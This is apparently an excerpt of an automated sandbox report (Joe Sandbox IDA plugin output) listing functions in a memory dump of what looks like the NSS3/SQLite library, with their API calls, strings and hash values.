TlsGetValue.KERNEL32(6C7C2D7C,6C799192,?), ref: 6C7C248E
EnterCriticalSection.KERNEL32(02B80138), ref: 6C7C24A2
memset.VCRUNTIME140(6C7C2D7C,00000020,6C7C2D5C), ref: 6C7C250E
memset.VCRUNTIME140(6C7C2D9C,00000020,6C7C2D7C), ref: 6C7C2535
memset.VCRUNTIME140(?,00000020,?), ref: 6C7C255C
memset.VCRUNTIME140(?,00000020,?), ref: 6C7C2583
PR_Unlock.NSS3(?), ref: 6C7C2594
PR_SetError.NSS3(00000000,00000000), ref: 6C7C25AF

Part of subcall function 6C81C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C81C2BF

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: memset$Value$CriticalEnterErrorSectionUnlock
String ID:
API String ID: 2972906980-0
Opcode ID: 713b9707253fa7482c56325e81a6c8654860ca4b522edd21cc03a17840663c79
Instruction ID: 0e5bdc0a01d762fa878a0bfcd1e3078e7b54ec888642a557b8de6a621aa3bcc3
Opcode Fuzzy Hash: 713b9707253fa7482c56325e81a6c8654860ca4b522edd21cc03a17840663c79
Instruction Fuzzy Hash: 8841C4B1F002025FEB159F34EE587AA3774BB59308F142A79DC05D7A52F770EA84C692

Function 6C7C05A0 Relevance: 12.1, APIs: 8, Instructions: 127memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000000), ref: 6C7C05DA

Part of subcall function 6C7D0BE0: malloc.MOZGLUE(6C7C8D2D,?,00000000,?), ref: 6C7D0BF8
Part of subcall function 6C7D0BE0: TlsGetValue.KERNEL32(6C7C8D2D,?,00000000,?), ref: 6C7D0C15

TlsGetValue.KERNEL32(00000000), ref: 6C7C060C
EnterCriticalSection.KERNEL32 ref: 6C7C0629
TlsGetValue.KERNEL32(00000000), ref: 6C7C066F
EnterCriticalSection.KERNEL32 ref: 6C7C068C
PR_Unlock.NSS3 ref: 6C7C06AA
PK11_GetNextSafe.NSS3 ref: 6C7C06C3
PR_Unlock.NSS3 ref: 6C7C06F9

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$Alloc_K11_NextSafeUtilmalloc
String ID:
API String ID: 1593870348-0
Opcode ID: 804877a19990b42a300fbdbb880a5f88862d502b1f6904f5246630dbcf1ad790
Instruction ID: 9482854c4fc3ec676894fa811a82bbc37416e4395e59e37f9fc4163948840ba6
Opcode Fuzzy Hash: 804877a19990b42a300fbdbb880a5f88862d502b1f6904f5246630dbcf1ad790
Instruction Fuzzy Hash: 5A511BB4A057468FDB10DF79C68466ABBF0BF45318F118939D8999BB01EB30E494CBD2

Function 6C88A6F0 Relevance: 12.1, APIs: 8, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C839890: TlsGetValue.KERNEL32(?,?,?,6C8397EB), ref: 6C83989E

EnterCriticalSection.KERNEL32(?), ref: 6C88A712
_PR_MD_UNLOCK.NSS3(?), ref: 6C88A76D

Part of subcall function 6C8370F0: LeaveCriticalSection.KERNEL32(6C880C7B), ref: 6C83710D

calloc.MOZGLUE(00000001,0000000C), ref: 6C88A779
_PR_CreateThread.NSS3(00000000,6C889EA0,?,00000001,00000001,00000000,?,00000000), ref: 6C88A79B
free.MOZGLUE(00000000), ref: 6C88A7AB
EnterCriticalSection.KERNEL32(?), ref: 6C88A7C5
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C88A7FC
_PR_MD_UNLOCK.NSS3(?), ref: 6C88A824

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: CriticalSection$Enter$CreateLeaveThreadValuecallocfree
String ID:
API String ID: 3459369588-0
Opcode ID: 7d556381f85c1509ad880a8ebbf0d9ae8ddbc3e735c7b51602648bf75f065639
Instruction ID: 9b55bdfe099a2746d4b79a9c0b36c6f8cc26de1c2b05847d4eb13791a608d122
Opcode Fuzzy Hash: 7d556381f85c1509ad880a8ebbf0d9ae8ddbc3e735c7b51602648bf75f065639
Instruction Fuzzy Hash: 31418CB19006119FC720DF69C9849ABB7F8FF45308B148A39D85AC7F51EB31E955CBA0

Function 6C7B66B0 Relevance: 12.1, APIs: 8, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000010,00000000), ref: 6C7B66D0
realloc.MOZGLUE(?,?,?,?,?,00000010,00000000), ref: 6C7B66FB

Part of subcall function 6C7D4540: PORT_ZAlloc_Util.NSS3(00000001,?,-00000001,-00000001,?,6C7B6725,?,00000022,?,?,?,?,?,00000010,00000000), ref: 6C7D4581

memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,00000010,00000000), ref: 6C7B673A
memcpy.VCRUNTIME140(00000001,00000000,-00000001,?,?,?,?,?,?,?,?,?,?,00000010,00000000), ref: 6C7B6757
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000010,00000000), ref: 6C7B676E
memcpy.VCRUNTIME140(6C7AC79F,?,?,?,?,?,00000010,00000000), ref: 6C7B6781
memcpy.VCRUNTIME140(00000001,?,-00000001,?,?,?,?,?,?,00000010,00000000), ref: 6C7B679D
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,00000010,00000000), ref: 6C7B67BC

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: memcpy$Alloc_ErrorUtilfreereallocstrlen
String ID:
API String ID: 922128022-0
Opcode ID: 663d4c1d27411ed090edaf8f2e43f0ca3c67a1f2d67eb0a212b0396e2094145c
Instruction ID: 80a06db3a4d12ecafc3f5b9966a336876b6eff7e7d2726f7eba5ba5b6333772a
Opcode Fuzzy Hash: 663d4c1d27411ed090edaf8f2e43f0ca3c67a1f2d67eb0a212b0396e2094145c
Instruction Fuzzy Hash: C531EA76900209AFDF21DFA8DD459AF77B8EF55314F140438E914AB740E732AA19C7E1

Function 6C7D25E0 Relevance: 12.1, APIs: 8, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000), ref: 6C7D2610
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000), ref: 6C7D261F

Part of subcall function 6C7D0BE0: malloc.MOZGLUE(6C7C8D2D,?,00000000,?), ref: 6C7D0BF8
Part of subcall function 6C7D0BE0: TlsGetValue.KERNEL32(6C7C8D2D,?,00000000,?), ref: 6C7D0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000), ref: 6C7D263B
_wopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,0000010A,00000000,?,000000FF,00000000,00000000), ref: 6C7D264A
free.MOZGLUE(00000000,?,?,00000000), ref: 6C7D2656
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C8BDEB8), ref: 6C7D2676
_close.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,00000000), ref: 6C7D2684
free.MOZGLUE(00000000,?,000000FF,00000000,00000000), ref: 6C7D268D

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: ByteCharMultiWidefree$Alloc_UtilValue_close_fdopen_wopenmalloc
String ID:
API String ID: 3511306438-0
Opcode ID: eaca0cc8a22ce2c36abebe9d742131e1a3668d3dec3089d7da30b790787d0de3
Instruction ID: 20f289490527da4b58a453fcf65d197ef0981c6d517b85819127978804ef209d
Opcode Fuzzy Hash: eaca0cc8a22ce2c36abebe9d742131e1a3668d3dec3089d7da30b790787d0de3
Instruction Fuzzy Hash: B71104B07003027BFB1427369D4EA3B39ACEB41269F150539FD09C5A82EE64ED11C2E2

Function 6C81A7D0 Relevance: 12.1, APIs: 8, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000002C,00000000,6C802AE9,?,6C81A98D,?,?,?,?), ref: 6C81A7D7

Part of subcall function 6C7D0D30: calloc.MOZGLUE ref: 6C7D0D50
Part of subcall function 6C7D0D30: TlsGetValue.KERNEL32 ref: 6C7D0D6D

SECITEM_CopyItem_Util.NSS3(00000000,-00000014,?,0000065C), ref: 6C81A80B

Part of subcall function 6C7CFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C7C8D2D,?,00000000,?), ref: 6C7CFB85
Part of subcall function 6C7CFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C7CFBB1

PK11_FreeSymKey.NSS3(?,?,?,?,?,?,0000065C), ref: 6C81A82E

Part of subcall function 6C7BADC0: TlsGetValue.KERNEL32(?,6C79CDBB,?,6C79D079,00000000,00000001), ref: 6C7BAE10
Part of subcall function 6C7BADC0: EnterCriticalSection.KERNEL32(?,?,6C79CDBB,?,6C79D079,00000000,00000001), ref: 6C7BAE24
Part of subcall function 6C7BADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C79D079,00000000,00000001), ref: 6C7BAE5A
Part of subcall function 6C7BADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C79CDBB,?,6C79D079,00000000,00000001), ref: 6C7BAE6F
Part of subcall function 6C7BADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C79CDBB,?,6C79D079,00000000,00000001), ref: 6C7BAE7F
Part of subcall function 6C7BADC0: TlsGetValue.KERNEL32(?,6C79CDBB,?,6C79D079,00000000,00000001), ref: 6C7BAEB1
Part of subcall function 6C7BADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C79CDBB,?,6C79D079,00000000,00000001), ref: 6C7BAEC9

PK11_FreeSymKey.NSS3(?,?,?,?,?,?,0000065C), ref: 6C81A845
SECITEM_ZfreeItem_Util.NSS3(-00000014,00000000,?,?,?,?,?,0000065C), ref: 6C81A857
free.MOZGLUE(00000000,?,?,?,?,?,?,?,0000065C), ref: 6C81A860
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,0000065C), ref: 6C81A81E

Part of subcall function 6C81C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C81C2BF

PR_SetError.NSS3(FFFFE013,00000000,0000065C), ref: 6C81A872

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: UtilValue$Alloc_CriticalEnterErrorFreeItem_K11_Sectionfree$ArenaCopyUnlockZfreecallocmemcpymemset
String ID:
API String ID: 1855126447-0
Opcode ID: 02870796bdbba1179d38f9993752c7220d3fec07666f981ad529ca26f408f6e0
Instruction ID: 1eaa7fd78ec97dded8ce4fe4fa2f3eba8a990b33b25d834aa3019c9308d2ecb1
Opcode Fuzzy Hash: 02870796bdbba1179d38f9993752c7220d3fec07666f981ad529ca26f408f6e0
Instruction Fuzzy Hash: 9211C4B5A0431257E6209F6AED09F9777D89F4065CF104838EC1A97F41E735E50A86A2

Function 6C7F8D20 Relevance: 10.8, APIs: 7, Instructions: 290memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD002,00000000), ref: 6C7F8E19
free.MOZGLUE(?), ref: 6C7F8E2D
PORT_Alloc_Util.NSS3(?), ref: 6C7F8F01
memcpy.VCRUNTIME140(?,?,?), ref: 6C7F8F57
free.MOZGLUE(?), ref: 6C7F8F7D
PR_GetCurrentThread.NSS3 ref: 6C7F8F8A
PR_SetError.NSS3(FFFFD044,00000000), ref: 6C7F90D6

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Errorfree$Alloc_CurrentThreadUtilmemcpy
String ID:
API String ID: 4163001165-0
Opcode ID: 781e8c72c9d12b4df893a6aba90b7ec40e0b66a398b26a18f45e4e2d958c4c06
Instruction ID: 74063db35a6e398848e74d3ed49bf6f9d0d07e90b915416cbd31bf132f476b90
Opcode Fuzzy Hash: 781e8c72c9d12b4df893a6aba90b7ec40e0b66a398b26a18f45e4e2d958c4c06
Instruction Fuzzy Hash: 38A1E571A047019BE710CF25CAC5BAAB3E8EF59308F04493DE969CB752E730E645C792

Function 6C7E8C10 Relevance: 10.8, APIs: 7, Instructions: 279COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C7E8C93

Part of subcall function 6C81C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C81C2BF

Part of subcall function 6C7C8A60: TlsGetValue.KERNEL32(6C7761C4,?,6C775F9C,00000000), ref: 6C7C8A81
Part of subcall function 6C7C8A60: TlsGetValue.KERNEL32(?,?,?,6C775F9C,00000000), ref: 6C7C8A9E
Part of subcall function 6C7C8A60: EnterCriticalSection.KERNEL32(?,?,?,?,6C775F9C,00000000), ref: 6C7C8AB7
Part of subcall function 6C7C8A60: PR_Unlock.NSS3(?,?,?,?,?,6C775F9C,00000000), ref: 6C7C8AD2

memset.VCRUNTIME140(?,00000000,?), ref: 6C7E8CFB
memset.VCRUNTIME140(?,00000000,?), ref: 6C7E8D10

Part of subcall function 6C7C8970: TlsGetValue.KERNEL32(?,00000000,6C7761C4,?,6C775639,00000000), ref: 6C7C8991
Part of subcall function 6C7C8970: TlsGetValue.KERNEL32(?,?,?,?,?,6C775639,00000000), ref: 6C7C89AD
Part of subcall function 6C7C8970: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C775639,00000000), ref: 6C7C89C6
Part of subcall function 6C7C8970: PR_WaitCondVar.NSS3 ref: 6C7C89F7
Part of subcall function 6C7C8970: PR_Unlock.NSS3(?,?,?,?,?,?,?,6C775639,00000000), ref: 6C7C8A0C

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockmemset$CondErrorWait
String ID:
API String ID: 2412912262-0
Opcode ID: 720a0ea3f9c91fc69346bc214e48524d1f90d3ce9f15aea97f67f9340317740d
Instruction ID: 67a482d5a8ddd5bbcf4878f0bfceffbf12f6b57cb651b5744ad745d829df2bd5
Opcode Fuzzy Hash: 720a0ea3f9c91fc69346bc214e48524d1f90d3ce9f15aea97f67f9340317740d
Instruction Fuzzy Hash: F3B170B1D002089FDB14CF69DD44AAEB7BAFF48308F10452ED81AA7751E731A955CB91

Function 6C7665D0 Relevance: 10.8, APIs: 4, Strings: 3, Instructions: 261COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C76670B
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,6C762B2C), ref: 6C76675E
EnterCriticalSection.KERNEL32(?), ref: 6C76678E
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,6C762B2C), ref: 6C7667E1

Strings

winClose, xrefs: 6C7668C5
winUnmapfile2, xrefs: 6C76698B
winUnmapfile1, xrefs: 6C766964

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: winClose$winUnmapfile1$winUnmapfile2
API String ID: 3168844106-373099266
Opcode ID: e85ec2f1b47f5361db9a76ec0624a8a6d53c7b83f3e14afa54b7a7a681019db6
Instruction ID: 8966bb76db16a9d110b47effc9afb86cc5d02eae5fca5ca480e5a0f3985d7864
Opcode Fuzzy Hash: e85ec2f1b47f5361db9a76ec0624a8a6d53c7b83f3e14afa54b7a7a681019db6
Instruction Fuzzy Hash: D3A19F35B01210CBDF689F66EA89A693774BF86719B44403CED06DBE41DB34AE01CBD2

Function 6C6F4F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6F4FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6F51BB

Strings

misuse, xrefs: 6C6F51AF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6F51A5
unable to delete/modify user-function due to active statements, xrefs: 6C6F51DF
%s at line %d of [%.10s], xrefs: 6C6F51B4

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 7c84daee9e81994c49f628402ca03ef4be8d484ff924db1a37e4b8f63b273c61
Instruction ID: 49d7c72dfc9d13bdde6744f5a04f74290b06a859542613cf041ad8bc7b1b9933
Opcode Fuzzy Hash: 7c84daee9e81994c49f628402ca03ef4be8d484ff924db1a37e4b8f63b273c61
Instruction Fuzzy Hash: 0471B07160420A9FEB00CE59CD80BDA77B6BF49308F048524FD299BB45D331ED56CBA5

Function 6C70A630 Relevance: 10.7, APIs: 7, Instructions: 192COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,6C8D1308,?,?,6C706ABD,00000000), ref: 6C70A6B7
LeaveCriticalSection.KERNEL32(?), ref: 6C70A70A
EnterCriticalSection.KERNEL32(?,00000000,6C8D1308,?,?,6C706ABD,00000000), ref: 6C70A73A
LeaveCriticalSection.KERNEL32(?), ref: 6C70A78D
EnterCriticalSection.KERNEL32(?,00000000,6C8D1308,?,?,6C706ABD,00000000), ref: 6C70A7CA
LeaveCriticalSection.KERNEL32(?), ref: 6C70A821
sqlite3_free.NSS3(?,00000000,6C8D1308,?,?,6C706ABD,00000000), ref: 6C70A8A6

Part of subcall function 6C6F9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C70C6FD,?,?,?,?,6C75F965,00000000), ref: 6C6F9F0E
Part of subcall function 6C6F9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C75F965,00000000), ref: 6C6F9F5D

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$sqlite3_free
String ID:
API String ID: 1407842778-0
Opcode ID: 9a4599713c8f02b3fd51f7e515c5ad0905c40e4679d5f4335bc2af18949fad54
Instruction ID: 3526a5f634bfe121f2a3ef163399dbb3d294c9aedc8e5a4b69dec93bbabb1402
Opcode Fuzzy Hash: 9a4599713c8f02b3fd51f7e515c5ad0905c40e4679d5f4335bc2af18949fad54
Instruction Fuzzy Hash: 27617EB5700200CBDB69DF65EA89A6A33B1BF8632DF18513DD40647A41CB39F942CBD2

Function 6C762D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C762D69

Strings

winTruncate2, xrefs: 6C762EF8
winSeekFile, xrefs: 6C762E9C
winTruncate1, xrefs: 6C762EBE
winUnmapfile2, xrefs: 6C762F7F
winUnmapfile1, xrefs: 6C762F55

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: 73c4dac5bfeb3272946767cfb387503c4e9e64ab2690ee3b378d90262b0d83e1
Instruction ID: 5a92f42ef84a98eb149c6d8add044efdcb27f37ef59d5b7cc9230f87d748005e
Opcode Fuzzy Hash: 73c4dac5bfeb3272946767cfb387503c4e9e64ab2690ee3b378d90262b0d83e1
Instruction Fuzzy Hash: 7261B171B002059FDB54CF69D988AAA77B1FF89318F10853CED159BB80DB30AD06CB91

Function 6C778620 Relevance: 10.6, APIs: 7, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

SECITEM_CopyItem_Util.NSS3(00000000,00000000,6C777310,00000000,6C777310,?,?,00000004,?), ref: 6C778684

Part of subcall function 6C7CFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C7C8D2D,?,00000000,?), ref: 6C7CFB85
